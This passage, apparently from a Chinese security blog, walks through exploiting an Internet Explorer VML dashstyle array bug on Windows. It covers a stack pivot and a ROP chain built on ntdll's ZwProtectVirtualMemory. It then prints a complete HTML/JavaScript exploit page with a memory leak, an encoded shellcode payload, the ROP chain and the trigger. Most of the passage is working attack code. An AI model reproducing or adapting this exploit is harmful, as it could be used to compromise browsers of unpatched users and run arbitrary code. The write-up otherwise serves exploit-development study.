pop esi; pop edi
,esp
移动到vml1.dashstyle.array.item(8)
pop ebx
,将vml1.dashstyle.array.item(8)
中的值存入ebx,即rop_addr -> ebx
retn
,程序返回到esp
指向的vml1.dashstyle.array.item(9)
执行布置在堆上的gadgetmov esp,ebx
,因为ebx
中使rop链的地址,栈被成功转移到rop链上。pop ebx
,esp
指向rop链第二句 执行rop链第二句,POP EBX
,将第三句弹出,防止再次栈转移 rop链 这里我们主要利用ntdll.dll中的ntdll!ZwProtectVirtualMemory函数
来修改内存的属性。 要求的寄存器环境为
1 2 3 4 5 6 7 edi -> ZwProtectVirtualMemory esi -> return_address ebp -> 0xffffffff esp -> ptr to BaseAddress ebx -> ptr to NumberOfBytesToProtect edx -> 0x00000040 ecx -> ptr to OldAccessProtection
这里ptr to OldAccessProtection
可以是任意可写地址,将被用来存放以前的保护属性。 我们注意到,其中还存在另外2个指针数据,所以这就要求我们先将数据存储到内存中,再将其地址取出来。 所以这里我选择先将数据存储到ntdll.dll的data
段,因为这里具有固定的偏移0xD7000
,且内存可写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 0:005> !dh ntdll ... ... SECTION HEADER #1 .text name ... Execute Read ... SECTION HEADER #2 RT name ... Execute Read SECTION HEADER #3 .data name 806C virtual size D7000 virtual address ... Read Write SECTION HEADER #4 .rsrc name ... Read Only SECTION HEADER #5 .reloc name ... Read Only
相关代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 function get_ropchain (shelladdr ) { var data_off = 0x000D7000 + 0x2000 ; var arr = [ ntdllbase + Number (0x0001cecb ), ntdllbase + Number (0x0001da87 ), ntdllbase + Number (0x00046B13 ), ntdllbase + Number (0x0006D4F3 ), ntdllbase + Number (data_off), ntdllbase + Number (0x000468e0 ), Number (shelladdr), ntdllbase + Number (0x000CA46F ), 0x90909090 , ntdllbase + Number (0x0006D4F3 ), ntdllbase + Number (data_off+0x4 ), ntdllbase + Number (0x000468e0 ), 0x00010400 , ntdllbase + Number (0x000CA46F ), 0x90909090 , ntdllbase + Number (0x0006D4F3 ), ntdllbase + Number (data_off-0x4 ), ntdllbase + Number (0x000468e0 ), ntdllbase + Number (0x000C3C64 ), ntdllbase + Number (0x000CA46F ), 0x90909090 , ntdllbase + Number (0x00034b9a ), ntdllbase + Number (0x00045360 ), ntdllbase + Number (0x0001da87 ), ntdllbase + Number (data_off+0x4 ), ntdllbase + Number (0x0006D4F3 ), 0x8b37c4da , ntdllbase + Number (0x000576DA ), ntdllbase + Number (0x00008cbb ), Number (shelladdr), 0xffffffff , ntdllbase + Number (0x000614e8 ), 0x90909090 , ntdllbase + Number (data_off+0x8 ), ntdllbase + Number (0x00037B20 ), ntdllbase + Number (data_off-0x4 ), 0x90909090 , 0x90909090 ]; return arr; }
代码分析 前三句是栈转移
代码 通过MOV DWORD PTR DS:[EAX],EDX
,分别将BaseAddress
、NumberOfBytesToProtect
写入到buf1
和buf2
buf3
中存储的是指令PUSHAD; RETN
的地址,因为在rop
最后我们会将buf3
的地址写入esp
,导致栈转移到buf
中。因为不能出现0x0000
这种数据,所以在将0x00000040
写入edx
时需要做一些处理。这里先将0x8b37c4da
写入eax
,然后将eax
加上0x74C83B66
,数据溢出后恰好是0x40
,这就避免了0x0000
的出现。 完整利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 <html lang ="zh" > <head > <meta http-equiv ="x-ua-compatible" content ="IE=EmulateIE9" > </head > <title > hpasserby</title > <style > v\: * { behavior:url(#default#VML); display:inline-block } </style > <xml:namespace ns ="urn:schemas-microsoft-com:vml" prefix ="v" /> <body > <v:oval > <v:stroke id ="vml1" /> </v:oval > </body > <script > var rect_array = new Array (); var a = new Array (); var rop_addr; var ntdllbase; function createRects ( ) { for (var i=0 ; i<0x400 ; i++){ rect_array[i] = document .createElement("v:shape" ); rect_array[i].id = "rect" + i.toString(); document .body.appendChild(rect_array[i]); } } function leak ( ) { var vml1 = document .getElementById("vml1" ); for (var i = 0 ; i < 0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i = 0 ; i < 0x400 ; i++){ a[i].rotation; if (i == 0x300 ) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i = 0 ; i < 0x400 ; i++){ marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16); a[i].marginLeft = unescape ("%uc933%u8b64%u3041%u408b%u8b0c%u1470%u96ad%u8bad%u1058%u538b%u033c%u8bd3%u7852%ud303%u728b%u0320%u33f3%u41c9%u03ad%u81c3%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u2472%uf303%u8b66%u4e0c%u8b49%u1c72%uf303%u148b%u038e%u33d3%u53c9%u5152%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u83d2%u0cc4%u5059%u6651%u6cb9%u516c%u7268%u2e74%u6864%u736d%u6376%uff54%u83d0%u10c4%u548b%u0424%uc933%ub951%u6d65%u6162%u8351%u246c%u6103%u6c83%u0224%u6862%u7973%u7473%u5054%ud2ff%uc483%u5510%uec8b%uec83%u3304%ubef6%u6d63%u0064%u7589%u8dfc%ufc75%uff56%u83d0%u08c4%u5a5e%ub95b%u7365%u6173%u8351%u246c%u6103%u5068%u6f72%u6863%u7845%u7469%u5354%ud2ff%uc933%uff51%u5fd0%u5b5e%uc481%u00c0%u0000%uec3b%u81e8%uff6a%u8bff%u5de5%u00c3" ); marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress_orgin != marginLeftAddress_modify) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin; var shelladdr = marginLeftAddress_modify; ntdllbase = parseInt (leak.charCodeAt(1 ).toString(16 ) + leak.charCodeAt(0 ).toString(16 ), 16 ) - 0x464F0 ; alert("ntdllbase: 0x" + ntdllbase.toString(16 )); alert("shelladdr: 0x" + shelladdr.toString(16 )); var rop_chain = tab2uni(get_ropchain(shelladdr)); a[i].marginLeft = rop_chain; rop_addr = vml1.dashstyle.array.item(0x2E+0x16); vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin; vml1.dashstyle.array.length = length_orig; alert("ropaddr: 0x" + rop_addr.toString(16 )); break ; } } } function get_ropchain (shelladdr ) { var data_off = 0x000D7000 + 0x2000 ; var arr = [ ntdllbase + Number (0x0001cecb ), ntdllbase + Number (0x0001da87 ), ntdllbase + Number (0x00046B13 ), ntdllbase + Number (0x0006D4F3 ), ntdllbase + Number (data_off), ntdllbase + Number (0x000468e0 ), Number (shelladdr), ntdllbase + Number (0x000CA46F ), 0x90909090, ntdllbase + Number (0x0006D4F3 ), ntdllbase + Number (data_off+0x4 ), ntdllbase + Number (0x000468e0 ), 0x00010400 , ntdllbase + Number (0x000CA46F ), 0x90909090, ntdllbase + Number (0x0006D4F3 ), ntdllbase + Number (data_off-0x4 ), ntdllbase + Number (0x000468e0 ), ntdllbase + Number (0x000C3C64 ), ntdllbase + Number (0x000CA46F ), 0x90909090, ntdllbase + Number (0x00034b9a ), ntdllbase + Number (0x00045360 ), ntdllbase + Number (0x0001da87 ), ntdllbase + Number (data_off+0x4 ), ntdllbase + Number (0x0006D4F3 ), 0x8b37c4da, ntdllbase + Number (0x000576DA ), ntdllbase + Number (0x00008cbb ), Number (shelladdr), 0xffffffff , ntdllbase + Number (0x000614e8 ), 0x90909090, ntdllbase + Number (data_off+0x8 ), ntdllbase + Number (0x00037B20 ), ntdllbase + Number (data_off-0x4 ), 0x90909090, 0x90909090 ]; return arr; } function d2u (dword ) { var uni = String .fromCharCode(dword & 0xFFFF ); uni += String .fromCharCode(dword>>16 ); return uni; } function tab2uni (tab ) { var uni = "" for (var i=0 ;i<tab.length;i++) { uni += d2u(tab[i]); } return uni; } function exploit ( ) { var vml1 = document .getElementById("vml1" ) for (var i = 0 ; i < 0x400 ; i++){ a[i] = document .getElementById("rect" + i.toString())._anchorRect; if (i == 0x300 ){ vml1.dashstyle = "1 2 3 4" ; } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = rop_addr; vml1.dashstyle.array.item(8 ) = rop_addr; vml1.dashstyle.array.item(9 ) = ntdllbase + 0x000cb0f8 ; for (var i=0 ; i<0x400 ; i++) { delete a[i]; CollectGarbage(); } alert("done" ); } createRects(); leak(); exploit(); </script > </html >
这里有个玄学问题是,去掉alert之后利用成功率变得极低。。。有点懵逼
参考资料